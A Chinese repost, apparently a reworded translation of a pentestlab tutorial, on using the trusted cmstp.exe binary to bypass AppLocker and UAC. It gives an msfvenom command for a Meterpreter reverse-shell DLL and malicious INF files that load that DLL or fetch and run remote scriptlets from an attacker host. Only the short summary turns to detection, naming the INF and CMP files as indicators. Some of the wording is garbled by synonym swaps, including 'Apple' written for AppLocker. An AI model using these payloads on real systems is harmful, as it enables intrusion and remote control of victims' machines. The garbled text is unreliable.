快捷搜索:  网络  后门  扫描  渗透  CVE  木马  黑客  as

使用CMSTP绕过AppLocker的要领先容

CMSTP是一个与Microsoft连接治理器设置文件装置程序关联的二进制文件。它接受INF文件,这些文件可以通过恶意命令武器化,以脚本(SCT)以及DLL的情势执行任意代码。它是一个受信任的Microsoft二进制文件,位于下列两个Windows目录中。

C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe

AppLocker默认规则允许在这些文件夹中执行二进制文件,因此我们可以用它来作为bypass的一种要领。该要领最初是由Oddvar Moe发现的,使用这个二进制文件可以绕过AppLocker以及UAC,详细可以参阅他的博文。

DLL

通过Metasploit Framework的msfvenom生成恶意DLL文件。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=4444 -f dll > /root/Desktop/pentestlab.dll

1metasploit-dll-generation.png

INF文件的RegisterOCXSection需要包含恶意DLL文件的内陆路径或遥程执行的WebDAV地位。

[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\Users\test.PENTESTLAB\pentestlab.dll
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

2cmstp-local-dll-execution.png

Metasploit multi/handler模块需要设置为接收连接。

3cmstp-metasploit-multi-handler.png

当恶意INF文件与cmstp一块儿提供时,代码将会在后台执行。

cmstp.exe /s cmstp.inf

4cmstp-inf-execution-locally.png

Meterpreter会话将从DLL执行中关上。

5cmstp-meterpreter-via-dll-execution.png

SCT

除了DLL文件外,cmstp还能够运行SCT文件,这在红队操作中扩大了二进制的可用性。 Nick Tyrer最初通过Twitter铺示了这类能力。

Nick Tyrer还编写了一个名为powersct.sct的scriptlet,可以将其用作执行PowerShell命令的备选解决方案,以应答本机PowerShell被阻止的情形。UnRegisterOCXSection需要包含scriptlet的URL。终极的INF文件需要包含下列内容:

[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://10.0.0.2/tmp/powersct.sct
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

当INF文件被执行一个新的窗口将关上,这将允许用户执行PowerShell命令。

cmstp.exe /s cmstp.inf

6cmstp-powershell.png

代码执行也能够通过使用scriptlet来调用恶意可执行文件。INF文件需要包含scriptlet的遥程地位。

[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://10.0.0.2/tmp/pentestlab.sct
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

7cmstp-sct-execution.png

在执行INF文件时,将会关上一个新的命令提示符窗口,这表示代码已被成功执行。

8cmstp-inf-execution-with-scriptlet.png

成功获取到一个Meterpreter会话。

9cmstp-meterpreter-via-sct-execution.png

总结

使用CMSTP二进制来绕过Apple制约以及代码执行。CMSTP需要INF文件并在执行时生成一个CMP文件,它是连接治理器配置文件。因此,要是恶意攻击者已经最先使用此手艺,且CMSTP.EXE二进制没法被AppLocker规则阻止的情形下,则需要将这两个文件作为IoC进行监视。

10cmstp-inf-and-cmp-file.png

参考

https://gist.github.com/netbiosX/15c963465bf1e78969fb3347c43b45b9

https://gist.github.com/netbiosX/297ea22d3475bb7216a7525f1ee82568

https://gist.github.com/NickTyrer/0604bb9d7bcfef9e0cf82c28a7b76f0f/

https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80

https://msitpros.com/?p=3960

https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/

https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/

*参考来源:pentestlab, secist 编译,,黑客网

您可能还会对下面的文章感兴趣: